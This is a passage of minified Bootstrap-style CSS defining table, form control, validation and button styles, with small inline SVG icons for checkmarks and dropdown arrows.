}.g-xxl-5,.gy-xxl-5{--bs-gutter-y:3rem}}.table{--bs-table-bg:transparent;--bs-table-accent-bg:transparent;--bs-table-striped-color:#212529;--bs-table-striped-bg:rgba(0, 0, 0, 0.05);--bs-table-active-color:#212529;--bs-table-active-bg:rgba(0, 0, 0, 0.1);--bs-table-hover-color:#212529;--bs-table-hover-bg:rgba(0, 0, 0, 0.075);width:100%;margin-bottom:1rem;color:#212529;vertical-align:top;border-color:#dee2e6}.table>:not(caption)>*>*{padding:.5rem .5rem;background-color:var(--bs-table-bg);border-bottom-width:1px;box-shadow:inset 0 0 0 9999px var(--bs-table-accent-bg)}.table>tbody{vertical-align:inherit}.table>thead{vertical-align:bottom}.table>:not(:last-child)>:last-child>*{border-bottom-color:currentColor}.caption-top{caption-side:top}.table-sm>:not(caption)>*>*{padding:.25rem .25rem}.table-bordered>:not(caption)>*{border-width:1px 0}.table-bordered>:not(caption)>*>*{border-width:0 1px}.table-borderless>:not(caption)>*>*{border-bottom-width:0}.table-striped>tbody>tr:nth-of-type(odd){--bs-table-accent-bg:var(--bs-table-striped-bg);color:var(--bs-table-striped-color)}.table-active{--bs-table-accent-bg:var(--bs-table-active-bg);color:var(--bs-table-active-color)}.table-hover>tbody>tr:hover{--bs-table-accent-bg:var(--bs-table-hover-bg);color:var(--bs-table-hover-color)}.table-primary{--bs-table-bg:#cfe2ff;--bs-table-striped-bg:#c5d7f2;--bs-table-striped-color:#000;--bs-table-active-bg:#bacbe6;--bs-table-active-color:#000;--bs-table-hover-bg:#bfd1ec;--bs-table-hover-color:#000;color:#000;border-color:#bacbe6}.table-secondary{--bs-table-bg:#e2e3e5;--bs-table-striped-bg:#d7d8da;--bs-table-striped-color:#000;--bs-table-active-bg:#cbccce;--bs-table-active-color:#000;--bs-table-hover-bg:#d1d2d4;--bs-table-hover-color:#000;color:#000;border-color:#cbccce}.table-success{--bs-table-bg:#d1e7dd;--bs-table-striped-bg:#c7dbd2;--bs-table-striped-color:#000;--bs-table-active-bg:#bcd0c7;--bs-table-active-color:#000;--bs-table-hover-bg:#c1d6cc;--bs-table-hover-color:#000;color:#000;border-color:#bcd0c7}.table-info{--bs-table-bg:#cff4fc;--bs-table-striped-bg:#c5e8ef;--bs-table-striped-color:#000;--bs-table-active-bg:#badce3;--bs-table-active-color:#000;--bs-table-hover-bg:#bfe2e9;--bs-table-hover-color:#000;color:#000;border-color:#badce3}.table-warning{--bs-table-bg:#fff3cd;--bs-table-striped-bg:#f2e7c3;--bs-table-striped-color:#000;--bs-table-active-bg:#e6dbb9;--bs-table-active-color:#000;--bs-table-hover-bg:#ece1be;--bs-table-hover-color:#000;color:#000;border-color:#e6dbb9}.table-danger{--bs-table-bg:#f8d7da;--bs-table-striped-bg:#eccccf;--bs-table-striped-color:#000;--bs-table-active-bg:#dfc2c4;--bs-table-active-color:#000;--bs-table-hover-bg:#e5c7ca;--bs-table-hover-color:#000;color:#000;border-color:#dfc2c4}.table-light{--bs-table-bg:#f8f9fa;--bs-table-striped-bg:#ecedee;--bs-table-striped-color:#000;--bs-table-active-bg:#dfe0e1;--bs-table-active-color:#000;--bs-table-hover-bg:#e5e6e7;--bs-table-hover-color:#000;color:#000;border-color:#dfe0e1}.table-dark{--bs-table-bg:#212529;--bs-table-striped-bg:#2c3034;--bs-table-striped-color:#fff;--bs-table-active-bg:#373b3e;--bs-table-active-color:#fff;--bs-table-hover-bg:#323539;--bs-table-hover-color:#fff;color:#fff;border-color:#373b3e}.table-responsive{overflow-x:auto;-webkit-overflow-scrolling:touch}@media (max-width:575.98px){.table-responsive-sm{overflow-x:auto;-webkit-overflow-scrolling:touch}}@media (max-width:767.98px){.table-responsive-md{overflow-x:auto;-webkit-overflow-scrolling:touch}}@media (max-width:991.98px){.table-responsive-lg{overflow-x:auto;-webkit-overflow-scrolling:touch}}@media (max-width:1199.98px){.table-responsive-xl{overflow-x:auto;-webkit-overflow-scrolling:touch}}@media (max-width:1399.98px){.table-responsive-xxl{overflow-x:auto;-webkit-overflow-scrolling:touch}}.form-label{margin-bottom:.5rem}.col-form-label{padding-top:calc(.375rem + 1px);padding-bottom:calc(.375rem + 1px);margin-bottom:0;font-size:inherit;line-height:1.5}.col-form-label-lg{padding-top:calc(.5rem + 1px);padding-bottom:calc(.5rem + 1px);font-size:1.25rem}.col-form-label-sm{padding-top:calc(.25rem + 1px);padding-bottom:calc(.25rem + 1px);font-size:.875rem}.form-text{margin-top:.25rem;font-size:.875em;color:#6c757d}.form-control{display:block;width:100%;padding:.375rem .75rem;font-size:1rem;font-weight:400;line-height:1.5;color:#212529;background-color:#fff;background-clip:padding-box;border:1px solid #ced4da;-webkit-appearance:none;-moz-appearance:none;appearance:none;border-radius:.25rem;transition:border-color .15s ease-in-out,box-shadow .15s ease-in-out}@media (prefers-reduced-motion:reduce){.form-control{transition:none}}.form-control[type=file]{overflow:hidden}.form-control[type=file]:not(:disabled):not([readonly]){cursor:pointer}.form-control:focus{color:#212529;background-color:#fff;border-color:#86b7fe;outline:0;box-shadow:0 0 0 .25rem rgba(13,110,253,.25)}.form-control::-webkit-date-and-time-value{height:1.5em}.form-control::-moz-placeholder{color:#6c757d;opacity:1}.form-control::placeholder{color:#6c757d;opacity:1}.form-control:disabled,.form-control[readonly]{background-color:#e9ecef;opacity:1}.form-control::file-selector-button{padding:.375rem .75rem;margin:-.375rem -.75rem;-webkit-margin-end:.75rem;margin-inline-end:.75rem;color:#212529;background-color:#e9ecef;pointer-events:none;border-color:inherit;border-style:solid;border-width:0;border-inline-end-width:1px;border-radius:0;transition:color .15s ease-in-out,background-color .15s ease-in-out,border-color .15s ease-in-out,box-shadow .15s ease-in-out}@media (prefers-reduced-motion:reduce){.form-control::file-selector-button{transition:none}}.form-control:hover:not(:disabled):not([readonly])::file-selector-button{background-color:#dde0e3}.form-control::-webkit-file-upload-button{padding:.375rem .75rem;margin:-.375rem -.75rem;-webkit-margin-end:.75rem;margin-inline-end:.75rem;color:#212529;background-color:#e9ecef;pointer-events:none;border-color:inherit;border-style:solid;border-width:0;border-inline-end-width:1px;border-radius:0;-webkit-transition:color .15s ease-in-out,background-color .15s ease-in-out,border-color .15s ease-in-out,box-shadow .15s ease-in-out;transition:color .15s ease-in-out,background-color .15s ease-in-out,border-color .15s ease-in-out,box-shadow .15s ease-in-out}@media (prefers-reduced-motion:reduce){.form-control::-webkit-file-upload-button{-webkit-transition:none;transition:none}}.form-control:hover:not(:disabled):not([readonly])::-webkit-file-upload-button{background-color:#dde0e3}.form-control-plaintext{display:block;width:100%;padding:.375rem 0;margin-bottom:0;line-height:1.5;color:#212529;background-color:transparent;border:solid transparent;border-width:1px 0}.form-control-plaintext.form-control-lg,.form-control-plaintext.form-control-sm{padding-right:0;padding-left:0}.form-control-sm{min-height:calc(1.5em + .5rem + 2px);padding:.25rem .5rem;font-size:.875rem;border-radius:.2rem}.form-control-sm::file-selector-button{padding:.25rem .5rem;margin:-.25rem -.5rem;-webkit-margin-end:.5rem;margin-inline-end:.5rem}.form-control-sm::-webkit-file-upload-button{padding:.25rem .5rem;margin:-.25rem -.5rem;-webkit-margin-end:.5rem;margin-inline-end:.5rem}.form-control-lg{min-height:calc(1.5em + 1rem + 2px);padding:.5rem 1rem;font-size:1.25rem;border-radius:.3rem}.form-control-lg::file-selector-button{padding:.5rem 1rem;margin:-.5rem -1rem;-webkit-margin-end:1rem;margin-inline-end:1rem}.form-control-lg::-webkit-file-upload-button{padding:.5rem 1rem;margin:-.5rem -1rem;-webkit-margin-end:1rem;margin-inline-end:1rem}textarea.form-control{min-height:calc(1.5em + .75rem + 2px)}textarea.form-control-sm{min-height:calc(1.5em + .5rem + 2px)}textarea.form-control-lg{min-height:calc(1.5em + 1rem + 2px)}.form-control-color{max-width:3rem;height:auto;padding:.375rem}.form-control-color:not(:disabled):not([readonly]){cursor:pointer}.form-control-color::-moz-color-swatch{height:1.5em;border-radius:.25rem}.form-control-color::-webkit-color-swatch{height:1.5em;border-radius:.25rem}.form-select{display:block;width:100%;padding:.375rem 2.25rem .375rem .75rem;font-size:1rem;font-weight:400;line-height:1.5;color:#212529;background-color:#fff;background-image:url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 16 16'%3e%3cpath fill='none' stroke='%23343a40' stroke-linecap='round' stroke-linejoin='round' stroke-width='2' d='M2 5l6 6 6-6'/%3e%3c/svg%3e");background-repeat:no-repeat;background-position:right .75rem center;background-size:16px 12px;border:1px solid #ced4da;border-radius:.25rem;-webkit-appearance:none;-moz-appearance:none;appearance:none}.form-select:focus{border-color:#86b7fe;outline:0;box-shadow:0 0 0 .25rem rgba(13,110,253,.25)}.form-select[multiple],.form-select[size]:not([size="1"]){padding-right:.75rem;background-image:none}.form-select:disabled{background-color:#e9ecef}.form-select:-moz-focusring{color:transparent;text-shadow:0 0 0 #212529}.form-select-sm{padding-top:.25rem;padding-bottom:.25rem;padding-left:.5rem;font-size:.875rem}.form-select-lg{padding-top:.5rem;padding-bottom:.5rem;padding-left:1rem;font-size:1.25rem}.form-check{display:block;min-height:1.5rem;padding-left:1.5em;margin-bottom:.125rem}.form-check .form-check-input{float:left;margin-left:-1.5em}.form-check-input{width:1em;height:1em;margin-top:.25em;vertical-align:top;background-color:#fff;background-repeat:no-repeat;background-position:center;background-size:contain;border:1px solid rgba(0,0,0,.25);-webkit-appearance:none;-moz-appearance:none;appearance:none;-webkit-print-color-adjust:exact;color-adjust:exact}.form-check-input[type=checkbox]{border-radius:.25em}.form-check-input[type=radio]{border-radius:50%}.form-check-input:active{filter:brightness(90%)}.form-check-input:focus{border-color:#86b7fe;outline:0;box-shadow:0 0 0 .25rem rgba(13,110,253,.25)}.form-check-input:checked{background-color:#0d6efd;border-color:#0d6efd}.form-check-input:checked[type=checkbox]{background-image:url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 20 20'%3e%3cpath fill='none' stroke='%23fff' stroke-linecap='round' stroke-linejoin='round' stroke-width='3' d='M6 10l3 3l6-6'/%3e%3c/svg%3e")}.form-check-input:checked[type=radio]{background-image:url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='-4 -4 8 8'%3e%3ccircle r='2' fill='%23fff'/%3e%3c/svg%3e")}.form-check-input[type=checkbox]:indeterminate{background-color:#0d6efd;border-color:#0d6efd;background-image:url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 20 20'%3e%3cpath fill='none' stroke='%23fff' stroke-linecap='round' stroke-linejoin='round' stroke-width='3' d='M6 10h8'/%3e%3c/svg%3e")}.form-check-input:disabled{pointer-events:none;filter:none;opacity:.5}.form-check-input:disabled~.form-check-label,.form-check-input[disabled]~.form-check-label{opacity:.5}.form-switch{padding-left:2.5em}.form-switch .form-check-input{width:2em;margin-left:-2.5em;background-image:url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='-4 -4 8 8'%3e%3ccircle r='3' fill='rgba%280, 0, 0, 0.25%29'/%3e%3c/svg%3e");background-position:left center;border-radius:2em;transition:background-position .15s ease-in-out}@media (prefers-reduced-motion:reduce){.form-switch .form-check-input{transition:none}}.form-switch .form-check-input:focus{background-image:url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='-4 -4 8 8'%3e%3ccircle r='3' fill='%2386b7fe'/%3e%3c/svg%3e")}.form-switch .form-check-input:checked{background-position:right center;background-image:url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='-4 -4 8 8'%3e%3ccircle r='3' fill='%23fff'/%3e%3c/svg%3e")}.form-check-inline{display:inline-block;margin-right:1rem}.btn-check{position:absolute;clip:rect(0,0,0,0);pointer-events:none}.btn-check:disabled+.btn,.btn-check[disabled]+.btn{pointer-events:none;filter:none;opacity:.65}.form-range{width:100%;height:1.5rem;padding:0;background-color:transparent;-webkit-appearance:none;-moz-appearance:none;appearance:none}.form-range:focus{outline:0}.form-range:focus::-webkit-slider-thumb{box-shadow:0 0 0 1px #fff,0 0 0 .25rem rgba(13,110,253,.25)}.form-range:focus::-moz-range-thumb{box-shadow:0 0 0 1px #fff,0 0 0 .25rem rgba(13,110,253,.25)}.form-range::-moz-focus-outer{border:0}.form-range::-webkit-slider-thumb{width:1rem;height:1rem;margin-top:-.25rem;background-color:#0d6efd;border:0;border-radius:1rem;-webkit-transition:background-color .15s ease-in-out,border-color .15s ease-in-out,box-shadow .15s ease-in-out;transition:background-color .15s ease-in-out,border-color .15s ease-in-out,box-shadow .15s ease-in-out;-webkit-appearance:none;appearance:none}@media (prefers-reduced-motion:reduce){.form-range::-webkit-slider-thumb{-webkit-transition:none;transition:none}}.form-range::-webkit-slider-thumb:active{background-color:#b6d4fe}.form-range::-webkit-slider-runnable-track{width:100%;height:.5rem;color:transparent;cursor:pointer;background-color:#dee2e6;border-color:transparent;border-radius:1rem}.form-range::-moz-range-thumb{width:1rem;height:1rem;background-color:#0d6efd;border:0;border-radius:1rem;-moz-transition:background-color .15s ease-in-out,border-color .15s ease-in-out,box-shadow .15s ease-in-out;transition:background-color .15s ease-in-out,border-color .15s ease-in-out,box-shadow .15s ease-in-out;-moz-appearance:none;appearance:none}@media (prefers-reduced-motion:reduce){.form-range::-moz-range-thumb{-moz-transition:none;transition:none}}.form-range::-moz-range-thumb:active{background-color:#b6d4fe}.form-range::-moz-range-track{width:100%;height:.5rem;color:transparent;cursor:pointer;background-color:#dee2e6;border-color:transparent;border-radius:1rem}.form-range:disabled{pointer-events:none}.form-range:disabled::-webkit-slider-thumb{background-color:#adb5bd}.form-range:disabled::-moz-range-thumb{background-color:#adb5bd}.form-floating{position:relative}.form-floating>.form-control,.form-floating>.form-select{height:calc(3.5rem + 2px);padding:1rem .75rem}.form-floating>label{position:absolute;top:0;left:0;height:100%;padding:1rem .75rem;pointer-events:none;border:1px solid transparent;transform-origin:0 0;transition:opacity .1s ease-in-out,transform .1s ease-in-out}@media (prefers-reduced-motion:reduce){.form-floating>label{transition:none}}.form-floating>.form-control::-moz-placeholder{color:transparent}.form-floating>.form-control::placeholder{color:transparent}.form-floating>.form-control:not(:-moz-placeholder-shown){padding-top:1.625rem;padding-bottom:.625rem}.form-floating>.form-control:focus,.form-floating>.form-control:not(:placeholder-shown){padding-top:1.625rem;padding-bottom:.625rem}.form-floating>.form-control:-webkit-autofill{padding-top:1.625rem;padding-bottom:.625rem}.form-floating>.form-select{padding-top:1.625rem;padding-bottom:.625rem}.form-floating>.form-control:not(:-moz-placeholder-shown)~label{opacity:.65;transform:scale(.85) translateY(-.5rem) translateX(.15rem)}.form-floating>.form-control:focus~label,.form-floating>.form-control:not(:placeholder-shown)~label,.form-floating>.form-select~label{opacity:.65;transform:scale(.85) translateY(-.5rem) translateX(.15rem)}.form-floating>.form-control:-webkit-autofill~label{opacity:.65;transform:scale(.85) translateY(-.5rem) translateX(.15rem)}.input-group{position:relative;display:flex;flex-wrap:wrap;align-items:stretch;width:100%}.input-group>.form-control,.input-group>.form-select{position:relative;flex:1 1 auto;width:1%;min-width:0}.input-group>.form-control:focus,.input-group>.form-select:focus{z-index:3}.input-group .btn{position:relative;z-index:2}.input-group .btn:focus{z-index:3}.input-group-text{display:flex;align-items:center;padding:.375rem .75rem;font-size:1rem;font-weight:400;line-height:1.5;color:#212529;text-align:center;white-space:nowrap;background-color:#e9ecef;border:1px solid #ced4da;border-radius:.25rem}.input-group-lg>.btn,.input-group-lg>.form-control,.input-group-lg>.form-select,.input-group-lg>.input-group-text{padding:.5rem 1rem;font-size:1.25rem;border-radius:.3rem}.input-group-sm>.btn,.input-group-sm>.form-control,.input-group-sm>.form-select,.input-group-sm>.input-group-text{padding:.25rem .5rem;font-size:.875rem;border-radius:.2rem}.input-group-lg>.form-select,.input-group-sm>.form-select{padding-right:3rem}.input-group:not(.has-validation)>.dropdown-toggle:nth-last-child(n+3),.input-group:not(.has-validation)>:not(:last-child):not(.dropdown-toggle):not(.dropdown-menu){border-top-right-radius:0;border-bottom-right-radius:0}.input-group.has-validation>.dropdown-toggle:nth-last-child(n+4),.input-group.has-validation>:nth-last-child(n+3):not(.dropdown-toggle):not(.dropdown-menu){border-top-right-radius:0;border-bottom-right-radius:0}.input-group>:not(:first-child):not(.dropdown-menu):not(.valid-tooltip):not(.valid-feedback):not(.invalid-tooltip):not(.invalid-feedback){margin-left:-1px;border-top-left-radius:0;border-bottom-left-radius:0}.valid-feedback{display:none;width:100%;margin-top:.25rem;font-size:.875em;color:#198754}.valid-tooltip{position:absolute;top:100%;z-index:5;display:none;max-width:100%;padding:.25rem .5rem;margin-top:.1rem;font-size:.875rem;color:#fff;background-color:rgba(25,135,84,.9);border-radius:.25rem}.is-valid~.valid-feedback,.is-valid~.valid-tooltip,.was-validated :valid~.valid-feedback,.was-validated :valid~.valid-tooltip{display:block}.form-control.is-valid,.was-validated .form-control:valid{border-color:#198754;padding-right:calc(1.5em + .75rem);background-image:url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 8 8'%3e%3cpath fill='%23198754' d='M2.3 6.73L.6 4.53c-.4-1.04.46-1.4 1.1-.8l1.1 1.4 3.4-3.8c.6-.63 1.6-.27 1.2.7l-4 4.6c-.43.5-.8.4-1.1.1z'/%3e%3c/svg%3e");background-repeat:no-repeat;background-position:right calc(.375em + .1875rem) center;background-size:calc(.75em + .375rem) calc(.75em + .375rem)}.form-control.is-valid:focus,.was-validated .form-control:valid:focus{border-color:#198754;box-shadow:0 0 0 .25rem rgba(25,135,84,.25)}.was-validated textarea.form-control:valid,textarea.form-control.is-valid{padding-right:calc(1.5em + .75rem);background-position:top calc(.375em + .1875rem) right calc(.375em + .1875rem)}.form-select.is-valid,.was-validated .form-select:valid{border-color:#198754}.form-select.is-valid:not([multiple]):not([size]),.form-select.is-valid:not([multiple])[size="1"],.was-validated .form-select:valid:not([multiple]):not([size]),.was-validated .form-select:valid:not([multiple])[size="1"]{padding-right:4.125rem;background-image:url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 16 16'%3e%3cpath fill='none' stroke='%23343a40' stroke-linecap='round' stroke-linejoin='round' stroke-width='2' d='M2 5l6 6 6-6'/%3e%3c/svg%3e"),url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 8 8'%3e%3cpath fill='%23198754' d='M2.3 6.73L.6 4.53c-.4-1.04.46-1.4 1.1-.8l1.1 1.4 3.4-3.8c.6-.63 1.6-.27 1.2.7l-4 4.6c-.43.5-.8.4-1.1.1z'/%3e%3c/svg%3e");background-position:right .75rem center,center right 2.25rem;background-size:16px 12px,calc(.75em + .375rem) calc(.75em + .375rem)}.form-select.is-valid:focus,.was-validated .form-select:valid:focus{border-color:#198754;box-shadow:0 0 0 .25rem rgba(25,135,84,.25)}.form-check-input.is-valid,.was-validated .form-check-input:valid{border-color:#198754}.form-check-input.is-valid:checked,.was-validated .form-check-input:valid:checked{background-color:#198754}.form-check-input.is-valid:focus,.was-validated .form-check-input:valid:focus{box-shadow:0 0 0 .25rem rgba(25,135,84,.25)}.form-check-input.is-valid~.form-check-label,.was-validated .form-check-input:valid~.form-check-label{color:#198754}.form-check-inline .form-check-input~.valid-feedback{margin-left:.5em}.input-group .form-control.is-valid,.input-group .form-select.is-valid,.was-validated .input-group .form-control:valid,.was-validated .input-group .form-select:valid{z-index:1}.input-group .form-control.is-valid:focus,.input-group .form-select.is-valid:focus,.was-validated .input-group .form-control:valid:focus,.was-validated .input-group .form-select:valid:focus{z-index:3}.invalid-feedback{display:none;width:100%;margin-top:.25rem;font-size:.875em;color:#dc3545}.invalid-tooltip{position:absolute;top:100%;z-index:5;display:none;max-width:100%;padding:.25rem .5rem;margin-top:.1rem;font-size:.875rem;color:#fff;background-color:rgba(220,53,69,.9);border-radius:.25rem}.is-invalid~.invalid-feedback,.is-invalid~.invalid-tooltip,.was-validated :invalid~.invalid-feedback,.was-validated :invalid~.invalid-tooltip{display:block}.form-control.is-invalid,.was-validated .form-control:invalid{border-color:#dc3545;padding-right:calc(1.5em + .75rem);background-image:url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 12 12' width='12' height='12' fill='none' stroke='%23dc3545'%3e%3ccircle cx='6' cy='6' r='4.5'/%3e%3cpath stroke-linejoin='round' d='M5.8 3.6h.4L6 6.5z'/%3e%3ccircle cx='6' cy='8.2' r='.6' fill='%23dc3545' stroke='none'/%3e%3c/svg%3e");background-repeat:no-repeat;background-position:right calc(.375em + .1875rem) center;background-size:calc(.75em + .375rem) calc(.75em + .375rem)}.form-control.is-invalid:focus,.was-validated .form-control:invalid:focus{border-color:#dc3545;box-shadow:0 0 0 .25rem rgba(220,53,69,.25)}.was-validated textarea.form-control:invalid,textarea.form-control.is-invalid{padding-right:calc(1.5em + .75rem);background-position:top calc(.375em + .1875rem) right calc(.375em + .1875rem)}.form-select.is-invalid,.was-validated .form-select:invalid{border-color:#dc3545}.form-select.is-invalid:not([multiple]):not([size]),.form-select.is-invalid:not([multiple])[size="1"],.was-validated .form-select:invalid:not([multiple]):not([size]),.was-validated .form-select:invalid:not([multiple])[size="1"]{padding-right:4.125rem;background-image:url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 16 16'%3e%3cpath fill='none' stroke='%23343a40' stroke-linecap='round' stroke-linejoin='round' stroke-width='2' d='M2 5l6 6 6-6'/%3e%3c/svg%3e"),url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 12 12' width='12' height='12' fill='none' stroke='%23dc3545'%3e%3ccircle cx='6' cy='6' r='4.5'/%3e%3cpath stroke-linejoin='round' d='M5.8 3.6h.4L6 6.5z'/%3e%3ccircle cx='6' cy='8.2' r='.6' fill='%23dc3545' stroke='none'/%3e%3c/svg%3e");background-position:right .75rem center,center right 2.25rem;background-size:16px 12px,calc(.75em + .375rem) calc(.75em + .375rem)}.form-select.is-invalid:focus,.was-validated .form-select:invalid:focus{border-color:#dc3545;box-shadow:0 0 0 .25rem rgba(220,53,69,.25)}.form-check-input.is-invalid,.was-validated .form-check-input:invalid{border-color:#dc3545}.form-check-input.is-invalid:checked,.was-validated .form-check-input:invalid:checked{background-color:#dc3545}.form-check-input.is-invalid:focus,.was-validated .form-check-input:invalid:focus{box-shadow:0 0 0 .25rem rgba(220,53,69,.25)}.form-check-input.is-invalid~.form-check-label,.was-validated .form-check-input:invalid~.form-check-label{color:#dc3545}.form-check-inline .form-check-input~.invalid-feedback{margin-left:.5em}.input-group .form-control.is-invalid,.input-group .form-select.is-invalid,.was-validated .input-group .form-control:invalid,.was-validated .input-group .form-select:invalid{z-index:2}.input-group .form-control.is-invalid:focus,.input-group .form-select.is-invalid:focus,.was-validated .input-group .form-control:invalid:focus,.was-validated .input-group .form-select:invalid:focus{z-index:3}.btn{display:inline-block;font-weight:400;line-height:1.5;color:#212529;text-align:center;text-decoration:none;vertical-align:middle;cursor:pointer;-webkit-user-select:none;-moz-user-select:none;user-select:none;background-color:transparent;border:1px solid transparent;padding:.375rem .75rem;font-size:1rem;border-radius:.25rem;transition:color .15s ease-in-out,background-color .15s ease-in-out,border-color .15s ease-in-out,box-shadow .15s ease-in-out}@media (prefers-reduced-motion:reduce){.btn{transition:none}}.btn:hover{color:#212529}.btn-check:focus+.btn,.btn:focus{outline:0;box-shadow:0 0 0 .25rem rgba(13,110,253,.25)}.btn.disabled,.btn:disabled,fieldset:disabled .btn{pointer-events:none;opacity:.65}.btn-primary{color:#fff;background-color:#0d6efd;border-color:#0d6efd}.btn-primary:hover{color:#fff;background-color:#0b5ed7;border-color:#0a58ca}.btn-check:focus+.btn-primary,.btn-primary:focus{color:#fff;background-color:#0b5ed7;border-color:#0a58ca;box-shadow:0 0 0 .25rem rgba(49,132,253,.5)}.btn-check:active+.btn-primary,.btn-check:checked+.btn-primary,.btn-primary.active,.btn-primary:active,.show>.btn-primary.dropdown-toggle{color:#fff;background-color:#0a58ca;border-color:#0a53be}.btn-check:active+.btn-primary:focus,.btn-check:checked+.btn-primary:focus,.btn-primary.active:focus,.btn-primary:active:focus,.show>.btn-primary.dropdown-toggle:focus{box-shadow:0 0 0 .25rem rgba(49,132,253,.5)}.btn-primary.disabled,.btn-primary:disabled{color:#fff;background-color:#0d6efd;border-color:#0d6efd}.btn-secondary{color:#fff;background-color:#6c757d;border-color:#6c757d}.btn-secondary:hover{color:#fff;background-color:#5c636a;border-color:#565e64}.btn-check:focus+.btn-secondary,.btn-secondary:focus{color:#fff;background-color:#5c636a;border-color:#565e64;box-shadow:0 0 0 .25rem rgba(130,138,145,.5)}.btn-check:active+.btn-secondary,.btn-check:checked+.btn-secondary,.btn-secondary.active,.btn-secondary:active,.show>.btn-secondary.dropdown-toggle{color:#fff;background-color:#565e64;border-color:#51585e}.btn-check:active+.btn-secondary:focus,.btn-check:checked+.btn-secondary:focus,.btn-secondary.active:focus,.btn-secondary:active:focus,.show>.btn-secondary.dropdown-toggle:focus{box-shadow:0 0 0 .25rem rgba(130,138,145,.5)}.btn-secondary.disabled,.btn-secondary:disabled{color:#fff;background-color:#6c757d;border-color:#6c757d}.btn-success{color:#fff;background-color:#198754;border-color:#198754}.btn-success:hover{color:#fff;background-color:#157347;border-color:#146c43}.btn-check:focus+.btn-success,.btn-success:focus{color:#fff;background-color:#157347;border-color:#146c43;box-shadow:0 0 0 .25rem rgba(60,153,110,.5)}.btn-check:active+.btn-success,.btn-check:checked+.btn-success,.btn-success.active,.btn-success:active,.show>.btn-success.dropdown-toggle{color:#fff;background-color:#146c43;border-color:#13653f}.btn-check:active+.btn-success:focus,.btn-check:checked+.btn-success:focus,.btn-success.active:focus,.btn-success:active:focus,.show>.btn-success.dropdown-toggle:focus{box-shadow:0 0 0 .25rem rgba(60,153,110,.5)}.btn-success.disabled,.btn-success:disabled{color:#fff;background-color:#198754;border-color:#198754}.btn-info{color:#000;background-color:#0dcaf0;border-color:#0dcaf0}.btn-info:hover{color:#000;background-color:#31d2f2;border-color:#25cff2}.btn-check:focus+.btn-info,.btn-info:focus{color:#000;background-color:#31d2f2;border-color:#25cff2;box-shadow:0 0 0 .25rem rgba(11,172,204,.5)}.btn-check:active+.btn-info,.btn-check:checked+.btn-info,.btn-info.active,.btn-info:active,.show>.btn-info.dropdown-toggle{color:#000;background-color:#3dd5f3;border-color:#25cff2}.btn-check:active+.btn-info:focus,.btn-check:checked+.btn-info:focus,.btn-info.active:focus,.btn-info:active:focus,.show>.btn-info.dropdown-toggle:focus{box-shadow:0 0 0 .25rem rgba(11,172,204,.5)}.btn-info.disabled,.btn-info:disabled{color:#000;background-color:#0dcaf0;border-color:#0dcaf0}.btn-warning{color:#000;background-color:#ffc107;border-color:#ffc107}.btn-warning:hover{color:#000;background-color:#ffca2c;border-color:#ffc720}.btn-check:focus+.btn-warning,.btn-warning:focus{color:#000;background-color:#ffca2c;border-color:#ffc720;box-shadow:0 0 0 .25rem rgba(217,164,6,.5)}.btn-check:active+.btn-warning,.btn-check:checked+.btn-warning,.btn-warning.active,.btn-warning:active,.show>.btn-warning.dropdown-toggle{color:#000;background-color:#ffcd39;border-color:#ffc720}.btn-check:active+.btn-warning:focus,.btn-check:checked+.btn-warning:focus,.btn-warning.active:focus,.btn-warning:active:focus,.show>.btn-warning.dropdown-toggle:focus{box-shadow:0 0 0 .25rem rgba(217,164,6,.5)}.btn-warning.disabled,.btn-warning:disabled{color:#000;background-color:#ffc107;border-color:#ffc107}.btn-danger{color:#fff;background-color:#dc3545;border-color:#dc3545}.btn-danger:hover{color:#fff;background-color:#bb2d3b;border-color:#b02a37}.btn-check:focus+.btn-danger,.btn-danger:focus{color:#fff;background-color:#bb2d3b;border-color:#b02a37;box-shadow:0 0 0 .25rem rgba(225,83,97,.5)}.btn-check:active+.btn-danger,.btn-check:checked+.btn-danger,.btn-danger.active,.btn-danger:active,.show>.btn-danger.dropdown-toggle{color:#fff;background-color:#b02a37;border-color:#a52834}.btn-check:active+.btn-danger:focus,.btn-check:checked+.btn-danger:focus,.btn-danger.active:focus,.btn-danger:active:focus,.show>.btn-danger.dropdown-toggle:focus{box-shadow:0 0 0 .25rem rgba(225,83,97,.5)}.btn-danger.disabled,.btn-danger:disabled{color:#fff;background-color:#dc3545;border-color:#dc3545}.btn-light{color:#000;background-color:#f8f9fa;border-color:#f8f9fa}.btn-light:hover{color:#000;background-color:#f9fafb;border-color:#f9fafb}.btn-check:focus+.btn-light,.btn-light:focus{color:#000;background-color:#f9fafb;border-color:#f9fafb;box-shadow:0 0 0 .25rem rgba(211,212,213,.5)}.btn-check:active+.btn-light,.btn-check:checked+.btn-light,.btn-light.active,.btn-light:active,.show>.btn-light.dropdown-toggle{color:#000;background-color:#f9fafb;border-color:#f9fafb}.btn-check:active+.btn-light:focus,.btn-check:checked+.btn-light:focus,.btn-light.active:focus,.btn-light:active:focus,.show>.btn-light.dropdown-toggle:focus{box-shadow:0 0 0 .25rem rgba(211,212,213,.5)}.btn-light.disabled,.btn-light:disabled{color:#000;background-color:#f8f9fa;border-color:#f8f9fa}.btn-dark{color:#fff;background-color:#212529;border-color:#212529}.btn-dark:hover{color:#fff;background-color:#1c1f23;border-color:#1a1e21}.btn-check:focus+.btn-dark,.btn-dark:focus{color:#fff;background-color:#1c1f23;border-color:#1a1e21;box-shadow:0 0 0 .25rem 